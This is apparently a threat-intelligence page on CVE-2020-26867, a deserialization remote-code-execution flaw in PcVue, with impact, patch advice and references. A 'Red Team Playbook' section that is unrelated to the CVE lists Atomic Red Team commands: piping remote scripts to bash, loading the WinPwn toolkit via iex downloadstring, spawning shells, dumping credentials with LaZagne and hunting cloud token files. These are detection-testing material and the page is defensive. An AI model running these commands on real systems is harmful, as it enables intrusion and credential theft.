CVE-2020-26867
Overview
The vulnerability in ARC Informatique PcVue arises from insecure deserialization of untrusted data within its web and mobile back-end components. This flaw allows maliciously crafted input to be processed by the deserialization mechanism without proper validation, leading to arbitrary code execution. The affected component is the server-side deserialization functionality handling incoming serialized objects prior to version 12.0.17.
Vulnerability Description
ARC Informatique PcVue prior to version 12.0.17 is vulnerable due to the deserialization of untrusted data, which may allow an attacker to remotely execute arbitrary code on the web and mobile back-end server.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the PcVue web and mobile back-end server, potentially gaining full control over the affected system. This can lead to unauthorized data access, system manipulation, or disruption of industrial control processes. The attack requires network access to the vulnerable server but no user interaction or privileges, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. The compromise of critical infrastructure components could result in significant operational and data integrity consequences.
Solution
Users should upgrade ARC Informatique PcVue to version 12.0.17 or later, as detailed in the official vendor security advisory at https://www.pcvuesolutions.com/security. The US-CERT ICS advisory ICSA-20-308-03 provides additional guidance on applying the patch. No specific workarounds are documented; therefore, timely application of the vendor-provided update is the recommended remediation step to address this deserialization vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the affected version of ARC Informatique PcVue arises from the deserialization of untrusted data, a common issue in software that processes serialized objects without proper validation. Deserialization is the process of converting a byte stream back into an object, and when this process is not securely handled, it can lead to the execution of arbitrary code. In this case, an attacker can craft malicious input that, when deserialized by the application, can trigger unintended behavior, potentially allowing the execution of arbitrary commands on the server. This flaw is particularly critical due to the high CVSS score of 9.8, indicating a severe risk that could lead to significant security breaches.
Attack vectors for exploiting this vulnerability are varied, but they primarily involve sending specially crafted requests to the web or mobile back-end server. An attacker could leverage this flaw by embedding malicious payloads in the data sent to the server, which, upon deserialization, would execute the attacker's code. This could be done through various means, such as exploiting a vulnerable API endpoint or injecting malicious data into user inputs that the application processes. The ease of access to the server, combined with the potential for remote code execution, makes this vulnerability particularly attractive to threat actors.
The real-world impact of this vulnerability can be devastating for organizations using the affected software. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and even complete system compromise. For businesses, this translates to significant financial losses, reputational damage, and potential legal ramifications due to data breaches. The operational integrity of critical systems could be jeopardized, especially in sectors where the affected software is used for monitoring and controlling industrial processes. The potential for widespread disruption underscores the importance of addressing this vulnerability promptly.
Detection and mitigation strategies are crucial for organizations to protect themselves from this vulnerability. Regular security assessments, including code reviews and penetration testing, can help identify and remediate such weaknesses before they are exploited. Implementing strict input validation and sanitization processes can significantly reduce the risk of deserialization attacks. Additionally, organizations should ensure that they are using the latest version of the software, as updates often include patches for known vulnerabilities. Employing application firewalls and intrusion detection systems can also provide an additional layer of security, helping to detect and block malicious requests before they reach the vulnerable application.
In conclusion, the deserialization vulnerability in the affected version of ARC Informatique PcVue poses a serious threat to organizations that rely on this software. The potential for remote code execution, combined with the ease of exploitation, makes it imperative for businesses to take proactive measures to secure their systems. By understanding the technical details, potential attack vectors, and implementing robust detection and mitigation strategies, organizations can significantly reduce their risk and protect their critical assets from malicious actors.
CSURFACE threat intelligence has detected a modest increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2020-26867, rising by approximately 10% to 0.0357. While this numerical change may appear incremental, it reflects a subtle uptick in the likelihood of exploitation attempts targeting ARC Informatique PcVue versions prior to 12.0.17. Our telemetry indicates a slight upward trend in exploit-related activities over the past week, although no new proof-of-concept exploits or active campaigns have been identified to date. This gradual increase in risk underscores the persistent interest threat actors maintain in leveraging deserialization vulnerabilities for remote code execution, particularly given the critical severity rating of this flaw. For defenders, the evolving EPSS score signals the need for continued vigilance in monitoring network traffic and application behavior associated with PcVue deployments. The threat level remains high due to the critical nature of the vulnerability, but the absence of confirmed exploit weaponization suggests that exploitation remains opportunistic rather than widespread at this time.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Pcvuesolutions | Pcvue | All |
cpe:2.3:a:pcvuesolutions:pcvue:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
60%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-26867 |
| us-cert.cisa.gov |
GitHub CVE
x_refsource_MISC
|
https://us-cert.cisa.gov/ics/advisories/icsa-20-308-03 |
| pcvuesolutions.com |
GitHub CVE
x_refsource_CONFIRM
|
https://www.pcvuesolutions.com/security |
| ics-cert.kaspersky.com |
GitHub CVE
x_refsource_CONFIRM
|
https://ics-cert.kaspersky.com/advisories/klcert-advisories/2020/10/09/klcert-20-015-remote-code-execution-in-arc-informatique-pcvue/ |
| pcvuesolutions.com |
GitHub CVE
x_refsource_CONFIRM
|
https://www.pcvuesolutions.com/support/index.php/en/security-bulletin/1076-security-bulletin-2020-1 |